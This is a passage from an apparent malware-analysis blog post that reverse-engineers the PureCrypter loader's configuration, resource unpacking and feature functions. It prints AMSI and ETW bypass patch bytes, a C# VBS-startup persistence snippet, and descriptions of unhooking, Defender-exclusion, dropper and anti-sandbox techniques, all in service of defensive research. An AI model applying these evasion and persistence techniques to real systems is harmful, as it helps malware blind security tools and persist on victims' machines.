font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">exe</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>\string_decrypter<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">py</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"C:\Users\user\Desktop\6_Slayed.dll"</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x0600020a</span></span></code></pre></div></div>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_string_decrypter.png" title="6_Slayed.dll string_decrypter python script" class="img-fluid"></p>
<p>This time, the script worked perfectly. Shoutout to Karsten Hahn &lt;3</p>
<p>With the decrypted strings in place, many functions became much clearer. For example, in <code>Class3</code>, several dynamically loaded system functions are now visible:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_dynamic_functions.png" title="6_Slayed.dll.deobfus dynamic function loading" class="img-fluid"></p>
<p>After renaming the methods and variables, the code starts to make more sense:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_rename.png" title="6_Slayed.dll.deobfus function renaming" class="img-fluid"></p>
<p>By analyzing these functions and their usage across the binary, I was able to identify what appears to be the main logic of this payload. After some time and a lot of manual renaming and tracing, I began to understand the inner workings.</p>
<p>I renamed all the function names and parameters myself. Some names might not be exact or even misleading, but I picked ones that made the most sense to me during the analysis.</p>
</section>
<section id="main-function-and-malware-configuration" class="level3">
<h3 class="anchored" data-anchor-id="main-function-and-malware-configuration">Main Function and Malware Configuration</h3>
<p>The main function begins by loading an embedded resource, which is then decrypted and decompressed. The resulting data is deserialized into objects, which are mapped to internal classes.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_main_1.png" title="6_Slayed.dll.deobfus main function init" class="img-fluid"></p>
<p>By debugging the malware and placing a breakpoint after this stage, I was able to extract the configuration data (distributed across three classes), and rename the associated fields to improve readability and make more sense of it. This process took several iterations.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_config_class10.png" title="6_Slayed.dll.deobfus config class10" class="img-fluid"> <img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_config_class8.png" title="6_Slayed.dll.deobfus config class8" class="img-fluid"> <img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_config_class9.png" title="6_Slayed.dll.deobfus config class9" class="img-fluid"></p>
<p>All these configuration options are used later in the code, enabling or disabling specific functionalities. Many of these options have been previously observed in the samples analyzed by <a href="https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter">Romain Dumont from Zscaler (2022)</a>, and they are also present in the lastest <a href="https://www.esentire.com/blog/pure-crypter-malware-analysis-99-problems-but-detection-aint-one">eSentire report (2025)</a>.</p>
<p>Additionally, leaked images of PureCrypter’s builder helped me to confirm, rename, and identify some features in the binary.</p>
<ul>
<li><p><strong>PureCrypter Builder v2</strong> (2022):</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/pure_crypter_builder_v2.png" title="Pure Crypter Builder v2 (https://asec.ahnlab.com/en/44809/)" class="img-fluid"></p></li>
<li><p><strong>PureCrypter Builder v4</strong> (2025):</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/pure_crypter_builder_v4_1.png" title="Pure Crypter Builder v4 Input Payload (https://www.esentire.com/blog/pure-crypter-malware-analysis-99-problems-but-detection-aint-one)" class="img-fluid"></p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/pure_crypter_builder_v4_2.png" title="Pure Crypter Builder v4 Payload Behavior (https://www.esentire.com/blog/pure-crypter-malware-analysis-99-problems-but-detection-aint-one)" class="img-fluid"></p></li>
</ul>
</section>
<section id="resources" class="level3">
<h3 class="anchored" data-anchor-id="resources">Resources</h3>
<p>There are three embedded resources after <em>slayering</em> the binary. One of them, <code>OgrEIKkQH20BVumdDM.6xsIgkhl6Yf897SD0n</code>, is quite large (337408 bytes). By looking at the entropy, it revealed a constant value of <code>8.0</code>, strongly indicating that this resource is encrypted.</p>
<p>I tried to manually extract its contents, but nothing worked. I kept thinking it might hide another part of the malware, like a payload, or some extra piece of the loader. That idea stuck with me the whole time and became the reason I kept going deeper into the analysis.</p>
<p>I had already found that the malware’s configuration is in some place of the resources, but the line that gets the object (<code>"Qjbdw"</code>) doesn’t directly match any of the visible resources in the binary.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode cs code-overflow-wrap code-with-copy"><code class="sourceCode cs"><span id="cb5-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">internal</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">byte</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[]</span> \uE004 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb5-2">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">get</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb5-3">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">object</span> @object <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> Resources<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span>\uE002<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetObject</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Qjbdw"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> Resources<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">cultureInfo_0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb5-4">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">byte</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[])</span>@object<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-5">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb5-6"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb5-7"></span>
<span id="cb5-8"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">[</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">EditorBrowsable</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>EditorBrowsableState<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Advanced</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)]</span></span>
<span id="cb5-9"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">internal</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> ResourceManager \uE002 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb5-10">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">get</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb5-11">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>Resources<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">resourceManager_0</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">null</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb5-12">            ResourceManager resourceManager <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">new</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">ResourceManager</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Ygksfxaml.Properties.Resources"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">typeof</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>Resources<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">).</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Assembly</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb5-13">            Resources<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">resourceManager_0</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> resourceManager<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-14">        <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb5-15">        <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> Resources<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">resourceManager_0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb5-16">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb5-17"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>This discrepancy is explained by a helper method within Class68, which I manually renamed to <code>load_resource_OgrEIKkQH20BVumdDM()</code>. This function is called in a lot of different places of the code.</p>
<section id="resource-loader" class="level4">
<h4 class="anchored" data-anchor-id="resource-loader">Resource Loader</h4>
<p>Class68 is a central piece of the resource unpacking logic:</p>
<ul>
<li>Extracts the embedded resource <code>OgrEIKkQH20BVumdDM.6xsIgkhl6Yf897SD0n</code> using <code>Assembly.GetManifestResourceStream()</code></li>
<li>Unpacks the data</li>
<li>Loads the data into memory as an <code>Assembly</code> object</li>
<li>Adds the in-memory assembly in <code>AppDomain.CurrentDomain.ResourceResolve</code>, in order to dynamically resolve dependencies.</li>
</ul>
<p>This mechanism acts as a dependency resolver, and all the dependencies are embedded in a single <em>compressed</em> resource.</p>
<p>Class49 also decrypts resources and adds them to <code>AppDomain.CurrentDomain.ResourceResolve</code>.</p>
</section>
<section id="embedded-resource-registry" class="level4">
<h4 class="anchored" data-anchor-id="embedded-resource-registry">Embedded Resource Registry</h4>
<p>Class45 reinforces this hypothesis. It contains a dictionary mapping different assembly dependencies.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_resource_resolver.png" title="6_Slayed.dll.deobfus resource registry loader" class="img-fluid"></p>
<p>This list includes multiple resource DLLs, commonly bundled via tools like <a href="https://github.com/fody/costura"><code>Costura</code></a>. These DLLs are not directly visible in the unpacked binary because they’re nested inside the larger <code>OgrEIKkQH20BVumdDM.6xsIgkhl6Yf897SD0n</code> resource.</p>
</section>
</section>
<section id="pure-crypter-features" class="level3">
<h3 class="anchored" data-anchor-id="pure-crypter-features">Pure Crypter Features</h3>
<p>With the resource topic clarified, we can continue with the main function analysis.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_main.png" title="6_Slayed.dll.deobfus main function" class="img-fluid"></p>
<p>The main function calls 17 methods, each corresponding to a distinct feature of the malware. These features are enabled or disabled based on the configuration parameters, extracted just before.</p>
<p>In the analyzed sample, many of these features were disabled. However, it was still possible to identify their intended behavior.</p>
<p>The <strong>PureCrypter</strong> malware includes several mechanisms for executing additional payloads:</p>
<ul>
<li><ol start="9" type="1">
<li><p><strong>run_powershell_command</strong></p>
<p>Executes a PowerShell command</p></li>
</ol></li>
<li><ol start="10" type="1">
<li><p><strong>run_dropper</strong></p>
<p>Drops a payload to the system’s temporary directory and executes it.</p></li>
</ol></li>
<li><ol start="14" type="1">
<li><p><strong>run_input_payload</strong></p>
<p>Loads and executes a payload either embedded within the binary or downloaded from a remote URL.</p>
<p>Supports multiple injection techniques:</p>
<pre><code>- Reflection
- Process Hollowing
- Shellcode</code></pre></li>
</ol></li>
<li><ol start="15" type="1">
<li><p><strong>run_loader</strong></p>
<p>Executes shellcode directly from an embedded resource.</p></li>
</ol></li>
</ul>
<p>Only <code>run_input_payload</code> was enabled in my sample.</p>
<section id="ensure_single_instance" class="level4">
<h4 class="anchored" data-anchor-id="ensure_single_instance">1. ensure_single_instance</h4>
<p>This function is called at the very start, and ensures the malware runs only once per system. It creates a <em>Mutex</em> using a name from the configuration.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_single_instance.png" title="6_Slayed.dll.deobfus single instance function" class="img-fluid"></p>
<p>If the mutex already exists, it calls a function to restore the network and exits.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_restore_network_exit.png" title="6_Slayed.dll.deobfus restore network and exit function" class="img-fluid"></p>
</section>
<section id="antidebug" class="level4">
<h4 class="anchored" data-anchor-id="antidebug">2. antidebug</h4>
<p>If <code>is_debug()</code> returns <code>true</code>, the malware exits early after restoring the network.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_antidebug.png" title="6_Slayed.dll.deobfus antidebug function" class="img-fluid"></p>
<p>The <code>is_debug</code> function performs several anti-analysis checks:</p>
<ol type="1">
<li><code>CheckRemoteDebuggerPresent</code></li>
<li>Checks if <code>SbieDll.dll</code> or <code>cuckoomon.dll</code> are loaded (Sandboxie and Cuckoo Sandbox detection)</li>
<li>Number of processors &gt; <code>2</code></li>
<li>Parent process is not <code>cmd</code></li>
<li>Detects virtual environments via WMI (<code>"VMware|VIRTUAL|A M I|Xen"</code> or <code>"Microsoft|VMWare|Virtual"</code>)</li>
<li>Checks monitor size</li>
<li>Confirms system is 64-bit</li>
<li>Username is not <code>"john"</code>, <code>"anna"</code> or ones containing <code>"xxxxxxxx"</code></li>
</ol>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_is_debug.png" title="6_Slayed.dll.deobfus is_debug function" class="img-fluid"></p>
</section>
<section id="ipconfig_release" class="level4">
<h4 class="anchored" data-anchor-id="ipconfig_release">3. ipconfig_release</h4>
<p>Disconnects the network using <code>ipconfig /release</code></p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_ipconfig_release.png" title="6_Slayed.dll.deobfus ipconfig_release function" class="img-fluid"></p>
</section>
<section id="sleep_x_seconds" class="level4">
<h4 class="anchored" data-anchor-id="sleep_x_seconds">4. sleep_x_seconds</h4>
<p>Implements a delay before proceeding. Wasting my time.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_sleep.png" title="6_Slayed.dll.deobfus sleep_x_seconds function" class="img-fluid"></p>
</section>
<section id="bypass_amsi" class="level4">
<h4 class="anchored" data-anchor-id="bypass_amsi">5. bypass_AMSI</h4>
<p>Bypasses the AMSI using in-memory patching.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_disable_amsi.png" title="6_Slayed.dll.deobfus disable AMSI function" class="img-fluid"></p>
<p>The obfuscation layer simply strips “Hzhmoojfp” from strings to reveal <code>amsi.dll</code> and <code>AmsiScanBuffer</code>.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode c# code-with-copy"><code class="sourceCode cs"><span id="cb7-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">private</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">static</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">string</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">smethod_1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">string</span> string_0<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb7-2"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb7-3">    <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> string_0<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Replace</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Hzhmoojfp"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">null</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb7-4"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>The function:</p>
<ul>
<li>Resolves <code>AmsiScanBuffer</code> via <code>GetProcAddress</code></li>
<li>Deobfuscates the patch</li>
<li>Sets memory to <code>PAGE_EXECUTE_READWRITE</code></li>
<li>Patches the function using <code>Marshal.Copy</code></li>
<li>Restores the original memory protection</li>
</ul>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_amsi_patch.png" title="6_Slayed.dll.deobfus patch AMSI function" class="img-fluid"></p>
<p>Patch forces <code>AmsiScanBuffer</code> to always return <code>0x80070057</code> (<code>E_INVALIDARG</code>), making AMSI scans fail.</p>
<ul>
<li>64-bit patch: <code>"uFcAB4D"</code></li>
</ul>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb8-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">0x00000000</span>      b857000780     mov eax, 0x80070057</span></code></pre></div></div>
<ul>
<li>32-bit patch: <code>"uFcAB4DCGAA="</code></li>
</ul>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb9" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb9-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">0x00000000</span>      b857000780     mov eax, 0x80070057</span>
<span id="cb9-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">0x00000005</span>      c21800         ret 0x18</span></code></pre></div></div>
<p>This technique is well-documented in <a href="https://rastamouse.me/memory-patching-amsi-bypass/">Rasta Mouse’s article</a>.</p>
</section>
<section id="bypass_etw" class="level4">
<h4 class="anchored" data-anchor-id="bypass_etw">6. bypass_ETW</h4>
<p>Disables Event Tracing for Windows (ETW) by patching <code>EtwEventWrite</code>.</p>
<p>This technique is detailed in <a href="https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses">The Red Team Vade Mecum</a>. It prevents ETW from logging telemetry data, evading detection by Windows Defender and EDR tools.</p>
<p>The function patches <code>EtwEventWrite</code> similarly to the AMSI bypass:</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_etw_patch.png" title="6_Slayed.dll.deobfus patch ETW function" class="img-fluid"></p>
<ul>
<li>64-bit patch: <code>"whQA"</code></li>
</ul>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb10" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb10-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">0x00000000</span>      c3             ret</span></code></pre></div></div>
<ul>
<li>32-bit patch: <code>"ww=="</code></li>
</ul>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb11-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">0x00000000</span>      c21400         ret 0x14</span></code></pre></div></div>
</section>
<section id="dll_unhooker" class="level4">
<h4 class="anchored" data-anchor-id="dll_unhooker">7. DLL_unhooker</h4>
<p>Implements API unhooking for <code>ntdll.dll</code> and <code>kernel32.dll</code> on Windows 10+ systems.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_dll_unhooker.png" title="6_Slayed.dll.deobfus DLL unhooker function" class="img-fluid"></p>
<p>The core logic is in <code>remove_security_hooks</code>, which performs the following steps:</p>
<ul>
<li>Loads the target DLL</li>
<li>Gets information about the loaded module via <code>GetModuleInformation</code></li>
<li>Locates the original file from the system directory</li>
<li>Opens the clean DLL file from disk and creates a file mapping of it</li>
<li>Maps the file into memory to access its original contents</li>
<li>Changes memory protection to allow writing</li>
<li>Copies the clean, original code from the file mapping over the potentially hooked code in memory</li>
<li>Restores the original memory protection</li>
</ul>
<p>This is a technique used to blind security tools that use API hooking to monitor malware behavior. By “unhooking” these DLLs, the malware restores the original, unmodified functions, effectively bypassing the security monitoring.</p>
</section>
<section id="defender_exclusion" class="level4">
<h4 class="anchored" data-anchor-id="defender_exclusion">8. defender_exclusion</h4>
<p>If the <code>defender_bypass</code> option is enabled in the configuration, the malware attempts to add its own executable and the persistence file to Windows Defender’s exclusion list.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_defender_exclusion.png" title="6_Slayed.dll.deobfus defender exclusion function" class="img-fluid"></p>
<p>The process:</p>
<ul>
<li>Constructs PowerShell commands to exclude:
<ul>
<li>The malware file path</li>
<li>The persistence file path</li>
</ul></li>
<li>Encodes the commands in Base64</li>
<li>Enters an infinite loop attempting to execute the commands with elevated privileges and a hidden window</li>
</ul>
</section>
<section id="run_powershell" class="level4">
<h4 class="anchored" data-anchor-id="run_powershell">9. run_powershell</h4>
<p>Executes arbitrary PowerShell commands defined in the configuration.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_run_powershell.png" title="6_Slayed.dll.deobfus run powershell command" class="img-fluid"></p>
<ul>
<li>If <code>runas</code> is set in the config, it attempts to execute with elevated privileges</li>
<li>Uses <code>ProcessStartInfo</code> with <code>CreateNoWindow</code> and <code>WindowStyle.Hidden</code> to remain stealthy</li>
<li>Keeps retrying until the command runs successfully (if elevated execution is required)</li>
</ul>
</section>
<section id="run_dropper" class="level4">
<h4 class="anchored" data-anchor-id="run_dropper">10. run_dropper</h4>
<p>Drops and executes an embedded payload to the system’s temporary directory.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_run_dropper.png" title="6_Slayed.dll.deobfus run embedded payload" class="img-fluid"></p>
<p>Execution flow:</p>
<ul>
<li>Checks if the dropper feature is enabled and if persistence is already installed</li>
<li>Builds the file path in the system’s temp directory (<code>Path.GetTempPath()</code>)</li>
<li>If <code>one_time</code> is false or the file doesn’t already exist:
<ul>
<li>The payload is reversed and GZip decompressed</li>
<li>Saved to disk</li>
<li>Executed using <code>Process.Start()</code></li>
</ul></li>
</ul>
<p>This is a traditional dropper approach.</p>
</section>
<section id="show_fake_message" class="level4">
<h4 class="anchored" data-anchor-id="show_fake_message">11. show_fake_message</h4>
<p>Displays a fake message box to deceive the user.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_show_fake_message.png" title="6_Slayed.dll.deobfus show fake message" class="img-fluid"></p>
</section>
<section id="setup_persistence" class="level4">
<h4 class="anchored" data-anchor-id="setup_persistence">12. setup_persistence</h4>
<p>This function checks the configuration to determine if persistence should be installed, and chooses one of three available methods:</p>
<ol type="1">
<li><p><strong>Registry Run key</strong></p>
<p>Adds a value to <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code> pointing to the malware executable path.</p>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_persistence_option0.png" title="6_Slayed.dll.deobfus option zero of persistence uses the registry run key" class="img-fluid"></p></li>
<li><p><strong>VBS Startup Script</strong></p>
<p>Drops a <code>.vbs</code> file into the Startup folder which silently executes the malware.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb12" style="background: #f1f3f5;"><pre class="sourceCode cs code-overflow-wrap code-with-copy"><code class="sourceCode cs"><span id="cb12-1">File<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">WriteAllText</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>Path<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Combine</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>Environment<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetFolderPath</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>Environment<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">SpecialFolder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">Startup</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">),</span> Path<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">GetFileNameWithoutExtension</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>fileInfo<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">FullName</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">))</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">".vbs"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"CreateObject(</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">WScript.Shell</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">).Run </span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"\"\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> fileInfo<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">FullName</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="sc" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">\"\"\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span></code></pre></div></div></li>
<li><p><strong>Scheduled Task</strong></p>
<p>Creates a Windows scheduled task that:</p>
<ul>
<li>Runs repeatedly every 2–4 minutes</li>
<li>Is not disabled by battery usage settings</li>
<li>Has no time limit and is not hidden</li>
<li>Executes the malware persistence path</li>
</ul>
<p><img src="https://0xlibris.net/posts/infection_chain_infostealer_2/img/6_slayed_deobfus_persistence_option2.png" title="6_Slayed.dll.deobfus option two of persistence creates a new scheduled task" class="img-fluid"></p></li>
</ol>
<p>In all cases, the malware first ensures the target persistence directory exists and copies itself to the configured location.</p>
<section id="anti-upload" class="level5">
<h5 class="anchored" data-anchor-id="anti-upload"><strong>Anti-upload</strong></h5>
<p>If <code>anti_upload</code> option is enabled in the configuration, and no <code>input_payload.destination_path</code> is defined, the malware appends 260MB-300MB of random bytes to its copied file. This bloats the file to avoid automatic submission to antivirus vendor clouds, which often restrict large samples.</p>
